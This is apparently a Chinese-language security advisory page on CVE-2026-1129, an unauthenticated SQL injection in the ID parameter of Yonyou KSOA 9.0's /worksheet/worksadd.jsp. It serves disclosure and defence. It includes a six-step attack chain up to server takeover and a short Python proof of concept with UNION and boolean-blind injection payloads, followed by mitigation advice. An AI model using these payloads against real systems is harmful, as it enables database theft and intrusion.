IPBUF安全漏洞报告
English
CVE-2026-1129 CVSS 7.3 高危

CVE-2026-1129 用友KSOA 9.0 SQL注入漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1129
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
用友KSOA 9.0

相关标签

SQL注入用友KSOA高危漏洞远程攻击无需认证CVE-2026-1129

漏洞概述

用友KSOA 9.0存在SQL注入漏洞,漏洞位于/worksheet/worksadd.jsp文件的HTTP GET参数处理模块。攻击者可通过ID参数注入恶意SQL语句,无需认证即可远程利用此漏洞。该漏洞CVSS评分为7.3,属于高危漏洞。成功利用可能导致数据库敏感信息泄露,包括用户凭证、财务数据等。攻击者还可能通过SQL注入获取服务器系统权限,进一步控制整个应用系统。该漏洞已于2026年1月19日披露,厂商尚未回应修复请求,漏洞利用代码已公开。

技术细节

漏洞存在于用友KSOA 9.0的/worksheet/worksadd.jsp文件中,该文件负责处理HTTP GET请求中的ID参数。在处理ID参数时,程序未对用户输入进行充分的SQL语句过滤和参数化查询处理,导致攻击者可以在ID参数中注入任意SQL语句。攻击者可通过构造UNION SELECT、布尔盲注、时间盲注等SQL注入技术,绕过认证机制,提取数据库中的敏感信息。由于该接口无需认证即可访问,远程攻击者可直接利用此漏洞。建议通过预编译语句或ORM框架修复此SQL注入漏洞,并对所有用户输入进行严格的输入验证。

攻击链分析

STEP 1
步骤1
扫描目标服务器,识别运行用友KSOA 9.0的Web应用
STEP 2
步骤2
访问/worksheet/worksadd.jsp页面,定位ID参数注入点
STEP 3
步骤3
构造SQL注入payload,如ID=1' UNION SELECT来测试漏洞是否存在
STEP 4
步骤4
通过UNION注入或盲注技术提取数据库敏感信息(用户表、密码等)
STEP 5
步骤5
利用获取的凭证登录后台管理系统或进一步横向移动
STEP 6
步骤6
通过数据库写入功能实现远程代码执行,获取服务器完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-1129 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /worksheet/worksadd.jsp # Parameter: ID import requests import sys target = "http://target.com/worksheet/worksadd.jsp" # Basic injection test - check if vulnerable payload_vuln = "?ID=1' OR '1'='1" # Union-based injection to extract database version payload_db = "?ID=1' UNION SELECT NULL,@@version,NULL--" # Blind boolean injection to extract admin password payload_blind = "?ID=1' AND 1=1--" def test_vulnerability(): print("[*] Testing CVE-2026-1129 SQL Injection...") try: # Test basic injection response = requests.get(target + payload_vuln, timeout=10) if response.status_code == 200: print("[+] Target appears vulnerable to SQL injection") # Test database version extraction response = requests.get(target + payload_db, timeout=10) if "5." in response.text or "8." in response.text: print("[+] Successfully extracted database version") # Test blind injection response_true = requests.get(target + payload_blind, timeout=10) response_false = requests.get(target + "?ID=1' AND 1=2--", timeout=10) if response_true.status_code != response_false.status_code: print("[+] Blind SQL injection confirmed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": test_vulnerability()

影响范围

用友KSOA 9.0

防御指南

临时缓解措施
临时禁用/worksheet/worksadd.jsp页面或限制其访问,在Web应用防火墙中添加SQL注入检测规则,对ID参数进行严格的输入过滤和验证。建议尽快联系用友官方获取安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表